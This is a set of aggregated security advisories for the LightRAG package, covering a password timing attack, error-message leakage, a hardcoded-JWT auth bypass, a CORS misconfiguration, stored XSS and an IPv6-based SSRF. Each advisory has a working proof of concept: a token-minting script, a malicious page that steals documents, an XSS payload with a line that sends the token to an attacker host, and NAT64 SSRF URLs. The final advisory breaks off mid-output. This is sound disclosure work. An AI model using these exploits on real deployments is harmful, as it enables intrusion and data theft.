            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Apr 12, 2026

1.4.13 patch

8 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
